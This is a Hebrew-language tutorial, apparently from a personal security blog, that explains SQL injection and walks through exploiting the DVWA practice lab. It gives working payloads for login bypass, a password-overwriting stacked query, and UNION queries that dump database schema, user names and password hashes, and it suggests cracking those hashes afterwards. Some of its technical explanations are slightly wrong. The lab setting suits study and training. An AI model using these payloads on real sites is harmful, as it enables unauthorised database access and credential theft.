כל הזכויות שמורות לטל בן שושן – Shushan.co.il
הסבר על SQLi – Sql Injection וביצועו על DVWA
על מנת לבצע מאמר זה, יש תחילה לקרוא את המאמרים הבאים:
הסבר והתקנת DVWA
הסבר הגדרה והפעלת Metasploit
פקודות ושימוש ב Metasploit
כאשר אנחנו מדברים על SQL, אנחנו מדברים על מסדי נתונים, מאגרי מידע בהם משתמשים אתרים \ תוכנות \ אפליקציות וכו'
זאת אומרת כאשר אתם נכנסים לאתר, נאמר לאתר שלי, כל המאמרים המפורסמים, הטקסט שלהם והמידע שלהם, מוזנים אל תוך מסד נתונים.
מסד נתונים זה מכיל את כל הנתונים של האתר, בחלק את ההגדרות, סיסמאות, משתמשים וכמעט את כל המידע הקיים באתר.
כל מידע שהוא כקובץ, תמונה, מסמך הקיים כקישור לאתר, קבצים האתר הם קבצים היושבים בשרת האחסון של האתר.
על מנת להבין SQLi צריך להבין כמה דברים:
- ב5 טכניקות משתמשים בSQLinjection וב SQLMap על מנת לבצע SQLi
- Boolean-based blind – למעשה Boolean הוא שיטת השאלות, כן ולא, בשיטה זו נשאל את המסד, דרך הטופס (עם החולשה) סדרת השאלות מבוצעת על ידי ה SQLMap ואם המסד עונה כן, אז SQLMap אומר לו תעשה X ואם לא ממשיך עד שהוא מצליח לבנות את הצורה בה עובד מסד הנתונים
- Time Based Blind – שינוי הזמן בין פקודה אחת לפקודה אחרת, אם מצליחים לשנות את הזמן, יהיה ניתן לנסות להזין פקודה זדונית בין לבין.
- Error Based – כאשר ננסה להזין ' או ננסה להזין מידע אל הטופס, מסד הנתונים יחזיר או שגיאה או נתון מסוים כך למעשה המסד נתונים מספר לנו דברים שלא בהכרח קשורים לטופס, וכך ניתן להזריק פקודה אל הטופס ולהוציא \ לתת פקודות למסד הנתונים
- Union – נאמר ויש טופס שניתן דרכו להריץ פקודה, נוכל להזין '1 על מנת לסגור את הפקודה ולאחריו להוסיךף Union ואז עוד פקודה, כך על ידי Union אנחנו מוסיפים עוד פקודה משלנו לפקודה שכבר קיימת בטופס
1' union select * from ….
- כיצד האתר פונה למסד הנתונים
האתר בעצם פונה בצורת הSyntax בה משתמש SQL, נאמר ואתם רוצים להתחבר לאתר, הזנתם שם משתמש וסיסמא.
תחילה השרת יבדוק את השם משתמש:
SELECT * FROM Users WHERE User IN ('Tal');
או לפי ID אם ביקשתם את ה ID של המשתמש (כמו DVWA)
- use למעשה בוחר את מסד הנתונים
- select אומר "בחר הכל מ:" users איפה ש user_id (שם של עמודה) את המספר 1
USE admin_dvwa; SELECT * FROM users WHERE user_id IN ('1')
נאמר ואנחנו רוצים לבחור "הכל מהכל" בטבלה מסויימת, נוכל לקצר את החיפוש על ידי הפקודה
USE admin_dvwa; SELECT * FROM users WHERE 1=1
אחרי שהסברתי אך קוד SQL בסיסי עובד ואך האתר פונה לבקש שם משתמש
נבין רגע את הצורה בה זה עובד, ברגע שאתם מזינים את השם משתמש והסיסמא בתא נאמר באים להתחבר לאתר וורדפרס, אתם מזינים שם משתמש והסיסמא
כאשר אתם מקישים שם משתמש וסיסמא
UserName= Tal Password=Pa$word
הוא בודק תחילה את השם משתמש עם Syntax הדומה לזה (דומה על מנת להסביר את התוצאה)
USE admin_wordpress; SELECT Count(*) FROM wp_users WHERE user_login ='admin' AND Password='Pa$w0rd'
וסיסמא בהתאמה
זאת אומרת שתחילת החיפוש זה
USE admin_wordpress; SELECT Count(*) FROM wp_users WHERE user_login ='admin' AND Password='Pa$w0rd'
הSyntax שמורץ לפני מה שאתם רושמים זה
SELECT * FROM wp_users WHERE user_login ='
אם נקבל שגיאה בגלל שהזנו ', ניתן לבצע Error-Based Attack
אז נוכל להקיש בשדות באתר
UserName= Tal' AND 1=1-- Password=Pa$word
הפקודה תראה כך:
USE admin_wordpress; SELECT Count(*) FROM wp_users WHERE user_login ='Tal' AND1=1--' AND Password='Pa$w0rd'
נוכל גם לשנות את הסיסמא, בשדה של הזנת המשתמש
UserName= Tal' ;update user_login set password='blablabla'-- Password=Pa$word
על ידי AND הוא יוסיף את החיפוש למשתמש TAL ובנוסף את … כולם…
Sanitize Input
כאשר הזנו ' וקיבלנו שגיאה (זה מבוצע בתוך DVWA, ובהמשך המדריך מבצעים את התרגול הזה)
, זאת אומרת שהטופס לא מתייחס לתא כאל טקסט, אלא כפקודת SQL ולכן נוכל להזין לו
a' OR 1=1--'
למה 1=1? בהמשך המאמר אני מסביר, בקצרה פקודה זו אומרת לSQL אם כן להכל תציג הכל
ואם ננסה להקיש את הפקודה הזו, נקבל את התוצאה –
בצורה זו האתר לא מבצע Sanitize למידע, הוא מתייחס אליו לא כמידע המוזן כטקסט, אלא כחלק מפקודה.
נאמר ואתם רוצים משקה ממכונת משקאות, מבקשים ממכם להכניס כסף ולרשום את שם הפריט, נאמר Cola
אתם מכניסים כסף, מזינים Cola והופ יוצא המשקה, אם המתכנת רוצה לבצע Sanitize הוא מגדיר למכונה, שהמידע המוזן הוא רק טקסט ואינו פקודה או חלק מפקודה, אבל תארו לכם שהוא לא ביצע את זה, והפקודה שהמכונה נותנת כאשר יש כסף זה
Select Drink From Beverages WHERE Cola = 'Cola Zero';
אם ניתן יהיה להזין את הפקודה, נוכל להוציא את כל המשקאות
Select Drink From Beverages WHERE Cola = 'Cola Zero'OR 1=1--' #;
DVWA SQLi
דרישות:
- DVWA מותקן וברמת Low Security
נפתח ב DVWA את ה SQL Injection
נוכל להקיש 1 בתא על מנת לראות מה הפלט שנקבל
בשורת הכתובות נקבל
http://shushan.com/vulnerabilities/sqli_blind/?id=1&Submit=Submit#
נבחין כי קיבלנו את המידע על מנהל המערכת
אם ננסה להכין את הפקודה שהשיגה לנו את התוצאה הזו, אנו מבינים כי זה מגיע מהעמודה ID שכן הזנו רק את המספר 1 וכאשר רושמים נאמר admin מקבלים שגיאה.
כך נראה הsyntax
SELECT firstname, surname FROM users WHERE userid='1';
ננסה עכשיו להזין 2 בתא
נבחין בשורת הכתובות שכעת השורה השתנתה ל
http://shushan.com/vulnerabilities/sqli_blind/?id=2&Submit=Submit#
למה זה חשוב? זה אומר שהמידע המוצג נשלף ממסד הנתונים על ידי הפקודה
?id=2&Submit=Submit#
ננסה כעת להזין רק ' בתא
נקבל הודעת שגיאה, מדוע? בגלל שהאתר מתייחס לכל מה שהוקש בתא לפקודת SQL הוא נותן שגיאה של "" בגלל שהפקודה כעת נראית כך:
SELECT firstname, surname FROM users WHERE userid='''';
למה 4 פעמים הסימן ' ? בגלל ש"כאילו הטקסט" זה " ומסביבו " על מנת לסגור את הפקודה
ניתן להקיש את הפקודה
' OR 1=1
שכן פקודה זו אומרת – הפקודה שרצה עכשיו או (OR) הפקודה שעכשיו והיא 1=1, 1=1 בעולם ה SQL זה הכל נכון או הכל כן ולכן מציג הכל
כעת נשתמש במחרוזת union
- Union – ניתן להשתמש בו על מנת להשתמש ב 2 פקודות, כאילו הזנו אותן בנפרד וזאת על מנת להזין את הפקודה שלנו ביחד עם הפקודה שהיא ברירת מחדל
בהסבר פשוט זה נראה כך:
אם נזין בתא בDVWA את:
a' UNION SELECT table_name,null FROM information_schema.tables #
כפקודה בתוך ה SQL זה יראה כך:
SELECT firstname, surname FROM users WHERE userid='a' UNION SELECT table_name,null FROM information_schema.tables #;
תראו את ההמשך של הפקודה, ואז נכנס UNION על מנת לשלב את הפקודה
SELECT table_name,null FROM information_schema.tables #;
כעת נקיש את הפקודה
a' UNION SELECT table_name,null FROM information_schema.tables #
נקבל
הפקודה בעצם הוציאה את כל המידע ממס הנתונים בשם information_schema )זהו מסד נתונים הקיים כמעט בכל מערכות DB) והנקודה אחריו tables אומר גם את הטבלאות שבתוכו
כעת אנחנו רוצים לדעת איזה מסדי נתונים קיים, על מנת לנסות להוציא את השמות משתמשים והסיסמאות (מטרת העל)
a' UNION SELECT table_name,null FROM information_schema.tables WHERE table_schema=database() #
פקודה זו תציג לנו את רשימת ה DB
כעת אחרי שגילנו שיש 2 מסדי נתונים
- guestbook
- users
נרצה לדעת איזה תאים יש בפנים על מנת להוציא את המידע בהם
נקיש
a' UNION SELECT column_name,null FROM information_schema.columns WHERE table_schema=database()#
כאן
הוא מוציא מבקש ממנו את שמות "השורות" מתוך כל המסדי נתונים שקיימים (יש רק 2 מסדי נתונים) אך שורות מידע יש הרבה
כעת על פי המידע והמידע שקיבלנו אנחנו יודעים לחבר את הטבלה שקיימת ולהוציא ספציפית ממנה את השם משתמש והסיסמא
בתמונה למעלה תוכלו להבחין בטבלה user ובטבלה password ומסד הנתונים שלנו זה users אז הפקודה נראית כך:
a' UNION SELECT user,password FROM users #
כעת יש לנו את שמות המשתמשים והסיסמאות של האתר, ניתן להשתמש cathash (קיים מאמר באתר) על מנת לפצח את הסיסמאות
נוכל להוציא פרטים נוספים, כמו גירסת הSQL
' union select 1,@@version#
שם השרת
' union select null,@@hostname#
שם המשתמש של המערכת
' union all select system_user(),user() #